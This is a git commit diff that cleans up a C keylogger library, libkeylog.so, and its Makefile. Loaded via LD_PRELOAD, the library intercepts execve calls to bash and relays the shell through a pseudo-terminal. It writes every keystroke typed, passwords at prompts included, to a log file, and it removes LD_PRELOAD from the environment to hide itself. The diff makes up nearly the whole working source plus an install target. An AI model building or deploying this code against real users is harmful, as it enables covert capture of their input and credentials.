commit 8b0a166116ede14e293759cc4587d0bd0818d8ea
parent e4eddacc5a86aeae6570729580afc1f4ce7b5c87
Author: Louis Burda <quent.burda@gmail.com>
Date: Thu, 22 Jun 2023 22:57:58 +0200
Fix warnings and cleanup
Diffstat:
M | Makefile | | | 31 | ++++++++++++++++++++----------- |
M | keylog.c | | | 165 | ++++++++++++++++++++++++++++++++++++++++++------------------------------------- |
2 files changed, 108 insertions(+), 88 deletions(-)
diff --git a/Makefile b/Makefile
@@ -1,17 +1,26 @@
-CC = gcc
-CFLAGS = -c -Wall -O3 -fPIC
-LDFLAGS = -ldl -Wl,-soname,keylog.so -shared
+PREFIX ?= /usr/local
+LIBDIR ?= /lib
-.PHONY: all clean
+CFLAGS = -Wunused-function -Wunused-variable -Wconversion -fPIC
-all: keylog.so
+ifeq ($(DEBUG),1)
+CFLAGS += -Og -g
+else
+CFLAGS += -O2
+endif
+
+all: libkeylog.so
clean:
- rm -f keylog.so keylog.o
+ rm -f keylog
+
+libkeylog.so: keylog.o
+ $(CC) -o $@ $^ -ldl -Wl,-soname,$@ -shared
+
+install:
+ install -m755 libkeylog.so -t "$(DESTDIR)$(PREFIX)$(LIBDIR)"
-keylog.so: keylog.o
- $(CC) -o $@ $(LDFLAGS) $^
- rm keylog.o
+uninstall:
+ rm -f "$(DESTDIR)$(PREFIX)$(LIBDIR)/libkeylog.so"
-keylog.o: keylog.c
- $(CC) -o $@ $(CFLAGS) $^
+.PHONY: all clean install uninstall
diff --git a/keylog.c b/keylog.c
@@ -17,94 +17,103 @@
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
-
#define _XOPEN_SOURCE 600
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <dlfcn.h>
-#include <fcntl.h>
+
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
-#include <time.h>
-#define __USE_BSD
+#include <unistd.h>
+#include <dlfcn.h>
+#include <fcntl.h>
#include <termios.h>
+#include <time.h>
+#include <string.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <stdio.h>
#define RTLD_NEXT ((void *) -1l)
-typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[]);
-void __attribute__ ((constructor)) init(void);
-
-enum { OK, FAIL };
-
-static void metalog(int fd, const char *msg, const char *filename);
-static int fwd(int readfd, int writefd, int log);
-static void mitm(int fd);
+typedef int (*execve_fun)(const char *filename,
+ char *const argv[], char *const envp[]);
extern char **environ;
+
static execve_fun execve_ptr = NULL;
-static int logfd = -1;
-static char buffer[256];
-static const char *logfile = NULL;
+static const char *logfile_path = NULL;
+static FILE *logfile = NULL;
/* programs we want to monitor */
-char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL };
+static char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL };
-void
-metalog(int fd, const char *msg, const char *filename)
+static void
+die(const char *fmt, ...)
+{
+ va_list ap;
+
+ va_start(ap, fmt);
+ fputs("keylog: ", stderr);
+ vfprintf(stderr, fmt, ap);
+ if (*fmt && fmt[strlen(fmt)-1] == ':') {
+ fputc(' ', stderr);
+ perror(NULL);
+ } else {
+ fputc('\n', stderr);
+ }
+ va_end(ap);
+
+ exit(1);
+}
+
+static void
+metalog(const char *msg, const char *filename)
{
char timestr[64];
- const char *fmtstr = "\n\n-- \x01 (\x02) @[\x03] -- \n\n";
- time_t now = time(NULL);
- int i, last;
+ time_t now;
+ now = time(NULL);
strftime(timestr, sizeof(timestr), "%F %T", localtime(&now));
-
- for (last = i = 0; i <= strlen(fmtstr); i++) {
- if (fmtstr[i] < 0x0a) {
- write(fd, fmtstr + last, i - last);
- if (fmtstr[i] == 0x01)
- write(fd, msg, strlen(msg));
- else if (fmtstr[i] == 0x02)
- write(fd, filename, strlen(filename));
- else if (fmtstr[i] == 0x03)
- write(fd, timestr, strlen(timestr));
- last = i + 1;
- }
- }
+ fprintf(logfile, "\n\n-- %s (%s) @[%s] -- \n\n",
+ msg, filename, timestr);
}
-int
-fwd(int readfd, int writefd, int log)
+static int
+fwd(int readfd, int writefd, bool log)
{
- int got, i, last;
+ char buffer[BUFSIZ];
+ ssize_t got;
+ size_t i, prev;
do {
if ((got = read(readfd, buffer, sizeof(buffer))) < 0)
- return FAIL;
-
- if (log && logfd != -1) {
- for (last = i = 0; i <= got; i++) {
- if (i == got || buffer[i] == '\r') {
- write(logfd, buffer + last, i - last);
- if (i < got) write(logfd, "\n", 1);
- last = i + 1;
+ return 1;
+
+ if (log) {
+ for (prev = i = 0; i <= got; i++) {
+ if (buffer[i] == '\r' || i == got) {
+ fwrite(buffer + prev, 1,
+ (size_t) (i - prev), logfile);
+ if (i == got - 1)
+ fputc('\n', logfile);
+ if (i + 1 < got && buffer[i+1] != '\n')
+ fputc('\n', logfile);
+ prev = i + 1;
}
}
+ fflush(logfile);
}
- if (write(writefd, buffer, got) < 0)
- return FAIL;
+ if (write(writefd, buffer, (size_t) got) != got)
+ return 1;
} while (got == sizeof(buffer));
- return OK;
+ return 0;
}
-void
+static void
mitm(int fd)
{
fd_set fds;
@@ -118,25 +127,23 @@ mitm(int fd)
return;
if (FD_ISSET(0, &fds)) { /* stdin */
- if (fwd(0, fd, 1) == FAIL)
- return;
+ if (fwd(0, fd, true)) return;
}
if (FD_ISSET(fd, &fds)) { /* process */
- if (fwd(fd, 1, 0) == FAIL)
- return;
+ if (fwd(fd, 1, false)) return;
}
}
}
-void
+static void
rawterm(struct termios *term)
{
- term->c_iflag &= ~(IGNBRK | BRKINT | PARMRK | ISTRIP
+ term->c_iflag &= ~(0U | IGNBRK | BRKINT | PARMRK | ISTRIP
| INLCR | IGNCR | ICRNL | IXON);
- term->c_oflag &= ~OPOST;
- term->c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN);
- term->c_cflag &= ~(CSIZE | PARENB);
+ term->c_oflag &= ~(0U | OPOST);
+ term->c_lflag &= ~(0U | ECHO | ECHONL | ICANON | ISIG | IEXTEN);
+ term->c_cflag &= ~(0U | CSIZE | PARENB);
term->c_cflag |= CS8;
}
@@ -148,7 +155,7 @@ execve(const char *filename, char *const argv[], char *const envp[]) {
char **file;
/* Lookup the real execve address. */
- if (!execve_ptr) execve_ptr = (execve_fun)dlsym(RTLD_NEXT, "execve");
+ if (!execve_ptr) execve_ptr = (execve_fun) dlsym(RTLD_NEXT, "execve");
/* Check if target program is one we want to keylog */
for (file = target_files; *file; file++) {
@@ -200,16 +207,19 @@ execve(const char *filename, char *const argv[], char *const envp[]) {
tcsetattr(0, TCSANOW, &settings);
ioctl(master_fd, TIOCSCTTY);
- logfd = open(logfile, O_WRONLY | O_APPEND | O_CREAT, 0644);
+ logfile = fopen(logfile_path, "a+");
+ if (!logfile) die("fopen:");
- metalog(logfd, "OPEN", filename);
+ metalog("OPEN", filename);
mitm(master_fd);
- metalog(logfd, "CLOSE", filename);
+ metalog("CLOSE", filename);
waitpid(pid, &status, 0);
tcsetattr(0, TCSANOW, &original);
- close(logfd);
+ fclose(logfile);
+ logfile = NULL;
+
close(master_fd);
}
@@ -217,25 +227,26 @@ execve(const char *filename, char *const argv[], char *const envp[]) {
}
void
+__attribute__((constructor))
init(void)
{
- char **iter, **last;
+ char **iter, **prev;
/* remove extra env vars from environ */
- for (iter = last = environ; *iter; iter++) {
- if (strstr(*iter, "KEYLOGFILE=") == *iter) {
- logfile = strchr(*iter, '=') + 1;
+ for (iter = prev = environ; *iter; iter++) {
+ if (!strncmp(*iter, "KEYLOG=", 7)) {
+ logfile_path = *iter + 7;
} else if (strstr(*iter, "LD_PRELOAD=") == *iter) {
continue;
} else {
- *last = *iter;
- last++;
+ *prev = *iter;
+ prev++;
}
}
- *last = NULL;
+ *prev = NULL;
- if (!logfile) {
- printf("KEYLOGFILE not specified!\n");
+ if (!logfile_path) {
+ printf("KEYLOG not specified!\n");
exit(1);
}
}